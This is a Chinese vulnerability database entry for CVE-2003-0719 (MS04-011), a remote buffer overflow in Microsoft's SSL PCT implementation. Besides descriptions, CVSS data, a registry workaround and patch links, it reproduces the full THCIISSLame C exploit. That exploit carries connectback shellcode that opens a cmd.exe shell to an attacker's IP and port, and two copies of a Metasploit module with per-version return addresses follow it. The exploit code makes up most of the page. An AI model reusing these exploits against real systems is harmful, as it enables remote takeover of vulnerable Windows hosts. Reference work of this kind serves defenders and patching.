CVE-2003-0719
CVSS7.5
发布时间 :2004-06-01 00:00:00
修订时间 :2008-09-10 15:20:14
NMCOEP    

[原文]Buffer overflow in the Private Communications Transport (PCT) protocol implementation in the Microsoft SSL library, as used in Microsoft Windows NT 4.0 SP6a, 2000 SP2 through SP4, XP SP1, Server 2003, NetMeeting, Windows 98, and Windows ME, allows remote attackers to execute arbitrary code via PCT 1.0 handshake packets.


[CNNVD]Microsoft PCT协议远程缓冲区溢出漏洞(MS04-011)(CNNVD-200406-038)

        
        Microsoft Windows是微软开发的操作系统。
        Microsoft Windows实现的私有通信传输协议存在一个缓冲区溢出,远程攻击者可以利用这个漏洞对使用PCT协议的应用程序进行攻击,可能以系统进程权限执行任意指令。
        PCT协议是Microsoft SSL库实现的,只有当SSL使能时或部分Windows 2000控制域上存在此问题,成功利用此漏洞可控制整个系统。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:microsoft:windows_2003_server:r2
cpe:/o:microsoft:windows_meMicrosoft Windows ME
cpe:/o:microsoft:windows_98::goldMicrosoft windows 98_gold
cpe:/o:microsoft:windows_2000::sp4::fr
cpe:/o:microsoft:windows_nt:4.0:sp6aMicrosoft Windows 4.0 sp6a
cpe:/o:microsoft:windows_2000::sp2Microsoft windows 2000_sp2
cpe:/a:microsoft:netmeetingMicrosoft NetMeeting
cpe:/o:microsoft:windows_xp::sp1:tablet_pcMicrosoft windows xp_sp1 tablet_pc

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:951Windows 2000 SSL PCT Handshake Vulnerability
oval:org.mitre.oval:def:903Windows NT SSL PCT Handshake Vulnerability
oval:org.mitre.oval:def:889Windows XP SSL PCT Handshake Vulnerability
oval:org.mitre.oval:def:1093Windows Server 2003 SSL PCT Handshake Vulnerability
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0719
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0719
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200406-038
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/586540
(VENDOR_ADVISORY)  CERT-VN  VU#586540
http://www.us-cert.gov/cas/techalerts/TA04-104A.html
(VENDOR_ADVISORY)  CERT  TA04-104A
http://xforce.iss.net/xforce/alerts/id/168
(VENDOR_ADVISORY)  ISS  20040413 Microsoft SSL Library Remote Compromise Vulnerability
http://www.securityfocus.com/archive/1/361836
(VENDOR_ADVISORY)  BUGTRAQ  20040430 A technical description of the SSL PCT vulnerability (CVE-2003-0719)
http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx
(VENDOR_ADVISORY)  MS  MS04-011

- 漏洞信息

Microsoft PCT协议远程缓冲区溢出漏洞(MS04-011)
高危 未知
2004-06-01 00:00:00 2005-10-20 00:00:00
远程  
        
        Microsoft Windows是微软开发的操作系统。
        Microsoft Windows实现的私有通信传输协议存在一个缓冲区溢出,远程攻击者可以利用这个漏洞对使用PCT协议的应用程序进行攻击,可能以系统进程权限执行任意指令。
        PCT协议是Microsoft SSL库实现的,只有当SSL使能时或部分Windows 2000控制域上存在此问题,成功利用此漏洞可控制整个系统。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 暂时关闭PCT协议:
        1、运行"regedt32"。
        2、在注册表中搜索如下键值:
        HKey_Local_Machine\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT 1.0\Server
        3、在编辑菜单中,在Server子值中建立新的REG_BINARY,命名为"Enabled"。
        4、在数据类型列表中,点击REG_BINARY。
        5、在值名文本框中,输入 "Enabled",然后确定。
        6、输入00000000字符串设置新值为0。
        7、确定后重新启动系统。
        如果要恢复PCT,就更改"Enabled"值为1。
        厂商补丁:
        Microsoft
        ---------
        Microsoft已经为此发布了一个安全公告(MS04-011)以及相应补丁:
        MS04-011:Security Update for Microsoft Windows (835732)
        链接:
        http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx

        补丁下载:
        Microsoft Windows 2000 Service Pack 2, Microsoft Windows 2000 Service Pack 3, and Microsoft Windows 2000 Service Pack 4
        
        http://www.microsoft.com/downloads/details.aspx?FamilyId=FBD38C36-D1D3-47A2-A5D5-6C8F27FDCC40&displaylang=en

        
        
        http://www.microsoft.com/downloads/details.aspx?FamilyId=0692C27E-F63A-414C-B3EB-D2342FBB6C00&displaylang=en

        Microsoft Windows Server? 2003
        
        http://www.microsoft.com/downloads/details.aspx?FamilyId=EAB176D0-01CF-453E-AE7E-7495864E8D8C&displaylang=en

        
        Microsoft Windows Server 2003 64-Bit Edition
        
        http://www.microsoft.com/downloads/details.aspx?FamilyId=C207D372-E883-44A6-A107-6CD2D29FC6F5&displaylang=en

- 漏洞信息 (275)

MS Windows IIS 5.0 SSL Remote buffer overflow Exploit (MS04-011) (EDBID:275)
windows remote
2004-04-21 Verified
443 Johnny Cyberpunk
N/A [点击下载]
/*****************************************************************************/
/* THCIISSLame 0.3 - IIS 5 SSL remote root exploit                           */
/* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org)                         */
/* THC PUBLIC SOURCE MATERIALS                                               */
/*                                                                           */
/* Bug was found by Internet Security Systems                                */
/* Reversing credits of the bug go to Halvar Flake                           */
/*                                                                           */
/* compile with MS Visual C++ : cl THCIISSLame.c                             */
/*                                                                           */
/* v0.3 - removed sleep[500]; and fixed the problem with zero ips/ports      */
/* v0.2 - This little update uses a connectback shell !                      */
/* v0.1 - First release with portbinding shell on 31337                      */
/*                                                                           */
/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */
/* scut, stealth, FtR and Random                                             */
/*****************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

#define jumper    "\xeb\x0f"
#define greetings_to_microsoft "\x54\x48\x43\x4f\x57\x4e\x5a\x49\x49\x53\x21"

char sslshit[] = "\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";

char shellcode[] =
"\xeb\x25\xe9\xfa\x99\xd3\x77\xf6\x02\x06\x6c\x59\x6c\x59\xf8"
"\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f"
"\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d"
"\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01"
"\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b"
"\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe"
"\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44"
"\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50"
"\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f"
"\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08"
"\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02"
"\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x50\x8b\x45\x04\x35"
"\x93\x93\x93\x93\x89\x45\x04\x66\x8b\x45\x02\x66\x35\x93\x93"
"\x66\x89\x45\x02\x58\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46"
"\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff"
"\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55\x55\xff\x55\xec\x8d"
"\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64"
"\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53\x53\xfe\xca\x01"
"\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53"
"\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a\xff\xff"
"\x55\xe4";

void usage();
void shell(int sock);

int main(int argc, char *argv[])
{  
  unsigned int i,sock,sock2,sock3,addr,rc,len=16;
  unsigned char *badbuf,*p;
  unsigned long offset = 0x6741a1cd;
  unsigned long XOR = 0xffffffff;
  unsigned long XORIP = 0x93939393;
  unsigned short XORPORT = 0x9393;

  unsigned short cbport;
  unsigned long  cbip;

  struct sockaddr_in mytcp;
  struct hostent * hp;
  WSADATA wsaData;

  printf("\nTHCIISSLame v0.3 - IIS 5.0 SSL remote root exploit\n");
  printf("tested on Windows 2000 Server german/english SP4\n");
  printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");

  if(argc<4 || argc>4)
   usage();

  badbuf = malloc(352);
  memset(badbuf,0,352);

  printf("\n[*] building buffer\n");

  p = badbuf;

  memcpy(p,sslshit,sizeof(sslshit));

  p+=sizeof(sslshit)-1;
  
  strcat(p,jumper);

  strcat(p,greetings_to_microsoft);

  offset^=XOR;
  strncat(p,(unsigned char *)&offset,4);

  cbport = htons((unsigned short)atoi(argv[3]));
  cbip = inet_addr(argv[2]);
  cbport ^= XORPORT;
  cbip ^= XORIP;
  memcpy(&shellcode[2],&cbport,2);
  memcpy(&shellcode[4],&cbip,4);

  strcat(p,shellcode);
  
  if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
  {
   printf("WSAStartup failed !\n");
   exit(-1);
  }
  
  hp = gethostbyname(argv[1]);

  if (!hp){
   addr = inet_addr(argv[1]);
  }
  if ((!hp)  && (addr == INADDR_NONE) )
  {
   printf("Unable to resolve %s\n",argv[1]);
   exit(-1);
  }

  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if (!sock)
  { 
   printf("socket() error...\n");
   exit(-1);
  }
  
  if (hp != NULL)
   memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
  else
   mytcp.sin_addr.s_addr = addr;

  if (hp)
   mytcp.sin_family = hp->h_addrtype;
  else
   mytcp.sin_family = AF_INET;

  mytcp.sin_port=htons(443);

  printf("[*] connecting the target\n");

  rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
  if(rc==0)
  {
      send(sock,badbuf,351,0);
      printf("[*] exploit send\n");
  
      mytcp.sin_addr.s_addr = 0;
      mytcp.sin_port=htons((unsigned short)atoi(argv[3]));

      sock2=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
      
      rc=bind(sock2,(struct sockaddr *)&mytcp,16);
      if(rc!=0)
      {
       printf("bind error() %d\n",WSAGetLastError());
       exit(-1);
      }
   
      rc=listen(sock2,1);
      if(rc!=0)
      {
       printf("listen error()\n");
       exit(-1);
      }

      printf("[*] waiting for shell\n");
      sock3 = accept(sock2, (struct sockaddr*)&mytcp,&len); 
      if(sock3)
      { 
       printf("[*] Exploit successful ! Have fun !\n");
       printf("[*] --------------------------------------------------------------------\n\n");
       shell(sock3);
      }
  }
  else
  {
   printf("\nCan't connect to ssl port 443!\n");
   exit(-1);
  }
  
  shutdown(sock,1);
  closesocket(sock);
  shutdown(sock,2);
  closesocket(sock2);
  shutdown(sock,3);
  closesocket(sock3);

  free(badbuf);

  exit(0);
}
 
void usage()
{
 unsigned int a;
 printf("\nUsage:  <victim-host> <connectback-ip> <connectback port>\n");
 printf("Sample: THCIISSLame www.lameiss.com 31.33.7.23 31337\n\n");
 exit(0);
}

void shell(int sock)
{
 int l;
 char buf[1024];
 struct timeval time;
 unsigned long ul[2];

 time.tv_sec = 1;
 time.tv_usec = 0;

 while (1)
 {
  ul[0] = 1;
  ul[1] = sock;

  l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  if(l == 1)
  {  	
   l = recv (sock, buf, sizeof (buf), 0);
   if (l <= 0)
   {
    printf ("bye bye...\n");
    return;
   }
  l = write (1, buf, l);
   if (l <= 0)
   {
    printf ("bye bye...\n");
    return;
   }
  }
  else
  {
   l = read (0, buf, sizeof (buf));
   if (l <= 0)
   {
    printf("bye bye...\n");
    return;
   }
   l = send(sock, buf, l, 0);
   if (l <= 0)
   {
    printf("bye bye...\n");
    return;
   }
  }
 }
}

// milw0rm.com [2004-04-21]
		

- 漏洞信息 (16334)

Microsoft Private Communications Transport Overflow (EDBID:16334)
windows remote
2010-09-20 Verified
0 metasploit
N/A [点击下载]
##
# $Id: ms04_011_pct.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Private Communications Transport Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the Microsoft
				Windows SSL PCT protocol stack. This code is based on Johnny
				Cyberpunk's THC release and has been tested against Windows
				2000 and Windows XP. To use this module, specify the remote
				port of any SSL service, or the port and protocol of an
				application that uses SSL. The only application protocol
				supported at this time is SMTP. You only have one chance to
				select the correct target, if you are attacking IIS, you may
				want to try one of the other exploits first (WebDAV). If
				WebDAV does not work, this more than likely means that this
				is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS
				5.1). Using the wrong target may not result in an immediate
				crash of the remote system.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2003-0719'],
					[ 'OSVDB', '5250'],
					[ 'BID', '10116'],
					[ 'MSB', 'MS04-011'],

				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 1800,
					'BadChars' => "",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[
						'Windows 2000 SP4',
						{
							'Platform' => 'win',
							'Ret'      => 0x67419ce8, # jmp [esp + 0x6c]
						},
					],
					[
						'Windows 2000 SP3',
						{
							'Platform' => 'win',
							'Ret'      => 0x67419e1d, # jmp [esp + 0x6c]
						},
					],
					[
						'Windows 2000 SP2',
						{
							'Platform' => 'win',
							'Ret'      => 0x6741a426, # jmp [esp + 0x6c]
						},
					],
					[
						'Windows 2000 SP1',
						{
							'Platform' => 'win',
							'Ret'      => 0x77e4f44d, # jmp [ebx + 0x14]
						},
					],
					[
						'Windows 2000 SP0',
						{
							'Platform' => 'win',
							'Ret'      => 0x7658a6cb, # jmp [ebx + 0x0e]
						},
					],
					[
						'Windows XP SP0',
						{
							'Platform' => 'win',
							'Ret'      => 0x0ffb7de9, # jmp [esp + 0x6c]
						},
					],
					[
						'Windows XP SP1',
						{
							'Platform' => 'win',
							'Ret'      => 0x0ffb832f, # jmp [esp + 0x6c]
						},
					],
				],
			'DisclosureDate' => 'Apr 13 2004',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('PROTO', [true, "The application protocol: raw or smtp", "raw"])
			], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...")

		# This is a heap ptr to the ssl request
		# ... and just happens to not die ...
		# Thanks to CORE and Halvar
		#
		#   80620101     =>  and byte ptr [esi+1], 0x2
		#   bd00010001   =>  mov ebp, 0x1000100
		#   0016         =>  add [esi], dl
		#   8f8201000000 =>  pop [esi+1]
		#   eb0f         =>  jmp short 11 to shellcode

		buf = "\x80\x66\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x86\x01\x00\x00\x00"+
			"\xeb\x0f" + 'XXXXXXXXXXX' +
			[target.ret ^ 0xffffffff].pack('V')+
			payload.encoded

		# Connect to a SMTP service, call STARTTLS
		if (datastore['PROTO'] == 'smtp')
			greeting = sock.get_once

			sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n")
			resp = sock.get_once

			sock.put("STARTTLS\r\n")
			resp = sock.get_once

			if (resp and resp !~ /^220/)
				print_status("Warning: this server may not support STARTTLS")
			end

		end

		sock.put(buf)
		resp = sock.get_once

		if (resp == "\x00\x00\x01")
			print_status("The response indicates that the PCT protocol is disabled")
		end

		handler
		disconnect
	end

end
		

- 漏洞信息 (F83172)

Microsoft Private Communications Transport Overflow (PacketStormID:F83172)
2009-11-26 00:00:00
H D Moore  metasploit.com
exploit,remote,overflow,protocol
windows,2k,xp
CVE-2003-0719
[点击下载]

This Metasploit module exploits a buffer overflow in the Microsoft Windows SSL PCT protocol stack. This code is based on Johnny Cyberpunk's THC release and has been tested against Windows 2000 and Windows XP. To use this module, specify the remote port of any SSL service, or the port and protocol of an application that uses SSL. The only application protocol supported at this time is SMTP. You only have one chance to select the correct target, if you are attacking IIS, you may want to try one of the other exploits first (WebDAV). If WebDAV does not work, this more than likely means that this is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS 5.1). Using the wrong target may not result in an immediate crash of the remote system.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Microsoft Private Communications Transport Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in the Microsoft
				Windows SSL PCT protocol stack. This code is based on Johnny
				Cyberpunk's THC release and has been tested against Windows
				2000 and Windows XP. To use this module, specify the remote
				port of any SSL service, or the port and protocol of an
				application that uses SSL. The only application protocol
				supported at this time is SMTP. You only have one chance to
				select the correct target, if you are attacking IIS, you may
				want to try one of the other exploits first (WebDAV). If
				WebDAV does not work, this more than likely means that this
				is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS
				5.1). Using the wrong target may not result in an immediate
				crash of the remote system.
					
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2003-0719'],
					[ 'OSVDB', '5250'],
					[ 'BID', '10116'],
					[ 'MSB', 'MS04-011'],

				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 1800,
					'BadChars' => "",
					'StackAdjustment' => -3500,
				},
			'Targets'        => 
				[
					[ 
						'Windows 2000 SP4',
						{
							'Platform' => 'win',
							'Ret'      => 0x67419ce8, # jmp [esp + 0x6c]
						},
					],
					[ 
						'Windows 2000 SP3',
						{
							'Platform' => 'win',
							'Ret'      => 0x67419e1d, # jmp [esp + 0x6c]
						},
					],					
					[ 
						'Windows 2000 SP2',
						{
							'Platform' => 'win',
							'Ret'      => 0x6741a426, # jmp [esp + 0x6c]
						},
					],
					[ 
						'Windows 2000 SP1',
						{
							'Platform' => 'win',
							'Ret'      => 0x77e4f44d, # jmp [ebx + 0x14]
						},
					],
					[ 
						'Windows 2000 SP0',
						{
							'Platform' => 'win',
							'Ret'      => 0x7658a6cb, # jmp [ebx + 0x0e]
						},
					],
					[ 
						'Windows XP SP0',
						{
							'Platform' => 'win',
							'Ret'      => 0x0ffb7de9, # jmp [esp + 0x6c]
						},
					],
					[ 
						'Windows XP SP1',
						{
							'Platform' => 'win',
							'Ret'      => 0x0ffb832f, # jmp [esp + 0x6c]
						},
					],																									
				],
			'DisclosureDate' => 'Apr 13 2004',
			'DefaultTarget' => 0))
			
			register_options(
				[
					OptString.new('PROTO', [true, "The application protocol: raw or smtp", "raw"])
				], self.class)
	end

	def exploit
		connect
		
		print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...")
		
		# This is a heap ptr to the ssl request
		# ... and just happens to not die ...
		# Thanks to CORE and Halvar
		#
		#   80620101     =>  and byte ptr [esi+1], 0x2
		#   bd00010001   =>  mov ebp, 0x1000100
		#   0016         =>  add [esi], dl
		#   8f8201000000 =>  pop [esi+1]
		#   eb0f         =>  jmp short 11 to shellcode
		
		buf = "\x80\x66\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x86\x01\x00\x00\x00"+
		      "\xeb\x0f" + 'XXXXXXXXXXX' +
			  [target.ret ^ 0xffffffff].pack('V')+
			  payload.encoded
	
		# Connect to a SMTP service, call STARTTLS
		if (datastore['PROTO'] == 'smtp')
			greeting = sock.get_once

			sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n")
			resp = sock.get_once
			
			sock.put("STARTTLS\r\n")
			resp = sock.get_once
			
			if (resp and resp !~ /^220/)
				print_status("Warning: this server may not support STARTTLS")
			end
			
		end
		
		sock.put(buf)
		resp = sock.get_once
		
		if (resp == "\x00\x00\x01")
			print_status("The response indicates that the PCT protocol is disabled")
		end
		
		handler
		disconnect
	end

end
    

- 漏洞信息

5250
Microsoft Windows SSL Library Private Communications Transport (PCT) Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Patch / RCS
Exploit Public, Exploit Commercial

- 漏洞描述

A remote overflow exists in the Microsoft Windows SSL library. The library fails to verify a field length during PCT 1.0 protocol negotiation. Any application which negotiates SSL using the Windows API may be vulnerable to this attack. With a specially crafted request, an attacker can execute arbitrary code with LocalSystem privileges, resulting in a loss of integrity.

- 时间线

2004-04-13 Unknow
2004-04-23 Unknow

- 解决方案

Apply the appropriate patch for your operation system. It is also possible to correct the flaw by implementing the following workaround(s): 1. Open the Registry Editor. 2. Locate the following key: HKLM\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT 1.0\Server 3. In the Edit menu, click Add Value. 4. In the Data Type drop-down list, choose REG_BINARY. 5. In the Value Name text box, type "Enabled" (without the quotation marks) and click OK. 6. In the Binary Editor, set the new keys value to equal 0 by entering the following string: 00000000. 7. Click OK and then restart the computer.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站